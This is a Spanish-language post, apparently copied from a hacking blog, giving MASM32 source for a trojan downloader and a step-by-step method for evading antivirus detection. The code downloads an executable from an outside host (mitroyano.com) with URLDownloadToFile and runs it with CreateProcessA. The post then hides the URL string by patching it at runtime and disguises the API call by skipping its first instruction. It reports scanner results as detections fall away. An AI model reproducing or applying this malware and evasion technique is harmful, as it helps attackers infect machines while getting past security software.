Éste es el código fuente original, que compila bajo masm32:
Código
.386 .model flat, stdcall ; 32 bit memory model option casemap :none ; case sensitive include \MASM32\INCLUDE\windows.inc include \MASM32\INCLUDE\kernel32.inc include \MASM32\INCLUDE\urlmon.inc include \MASM32\INCLUDE\shell32.inc includelib \MASM32\LIB\kernel32.lib includelib \MASM32\LIB\urlmon.lib includelib \MASM32\LIB\shell32.lib ; ######################################### .data web db "http://mitroyano.com/test.exe",0 open db "open",0 dir db "test.exe",0 (0) ; buffer for command line pinfo dd 4 dup (0) ;process handles startupinfo db 48h dup (0) ;startup info for the process were opening .code start: push NULL push 0 push offset dir push offset web push NULL CALL URLDownloadToFile push offset pinfo push offset startupinfo push NULL push NULL push NULL push TRUE push NULL push NULL push NULL push offset dir ; Pointer to name of executable mod call CreateProcessA push 0 call ExitProcess end start ; ####################
He marcado en negrita las tres cosas que son importantes en cuánto a comportamiento vírico se refiere:
(1) un string de una web de dónde se descarga el exe: http://...
(2) la llamada a URLDownloadToFile
(3) la llamada a CreateProcess.
Éste es el análisis del virus antes de modificarlo.
Por cierto, ya es bastante grave que antivirus como F-PROT, AVG, bitdefender no cataloguen correctamente nuestro troyano. Pero sigamos.
Ahora haremos un pequeño cambio. Subsituiremos http por wttp y restauraremos el string al principio del programa:
Código
web DB "wttp://mitroyano.com/troyano.exe", 0 [...] Lea Eax, [web] Mov Byte Ptr [Eax], 'h'
Con esto, nos quitamos de encima uno de los antivirus (avira). Aquí tenéis el análisis.
Código:
http://scanner.novirusthanks.org/analysis/e97f5f997c712b39eb038b03db949d7c/UHJveWVjdG8xLmV4ZQ==/
Nuestro siguiente paso va a ser quitar esa llamada tan fea que tenemos a
URLDownloadToFile, que canta muchísimo. ¿Cómo? Pues simplemente vemos con un debugger la primera instrucción que ejecuta la función, que en este caso es mov edi, edi, la copiamos en nuestro programa y luego llamamos a la API con un call eax:
Código
Notar que hemos puesto dos inc eax porque la longitud de la instrucción mov edi, edi es dos.
Push NULL Push 0 push offset dir push offset web Push NULL ;Call URLDownloadToFile Mov Edi, Edi Mov Eax, URLDownloadToFile Inc Eax Inc Eax Call Eax
Después de tan complicado cambio, el resultado es que tan sólo Dr.Web lo detecta. ¿Análisis heurístico? ¿Sandboxes? Mejor no digo nada ...
Fuente:
Código:
http://hacking-avanzado.blogspot.com